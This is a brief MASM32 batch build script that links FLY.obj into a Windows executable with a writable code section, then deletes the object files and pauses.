\MASM32\BIN\LINK /nologo /SUBSYSTEM:WINDOWS /SECTION:.text,REW FLY.obj
DEL *.OBJ
ECHO.
PAUSE
CLS
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